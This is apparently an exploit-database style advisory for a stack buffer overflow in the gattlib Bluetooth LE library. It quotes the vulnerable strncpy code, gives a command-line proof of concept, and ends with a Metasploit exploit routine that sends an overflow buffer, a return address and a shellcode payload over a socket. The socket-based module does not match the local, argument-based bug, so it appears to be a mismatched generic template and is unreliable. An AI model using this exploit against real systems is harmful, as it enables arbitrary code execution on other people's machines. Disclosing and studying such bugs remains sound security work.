## Summary:
While fuzzing gattlib (Gattlib is a library to access GATT information from
BLE (Bluetooth Low Energy) devices) using clang 6.0 with ASAN a stack-based
buffer-overflow was observed.
## Vulnerable code from gattlib.c
// Transform string from 'DA:94:40:95:E0:87' to 'dev_DA_94_40_95_E0_87'
strncpy(device_address_str, dst, sizeof(device_address_str));
for (i = 0; i < strlen(device_address_str); i++) {
if (device_address_str[i] == ':') {
device_address_str[i] = '_';
}
}
## Vulnerable code from discover.c
if (argc != 2) {
printf("%s <device_address>\n", argv[0]);
return 1;
}
connection = gattlib_connect(NULL, argv[1], BDADDR_LE_PUBLIC, BT_SEC_LOW,
0, 0);
if (connection == NULL) {
fprintf(stderr, "Fail to connect to the bluetooth device.\n");
return 1;
}
## PoC
./discover `python -c 'print "A"*20'`
## MSF code
def exploit
connect
print_status("Sending #{payload.encoded.length} byte payload...")
# Building the buffer for transmission
buf = "A" * 20
buf += [ target.ret ].pack('V')
buf += payload.encoded
sock.put(buf)
sock.get
handler
end
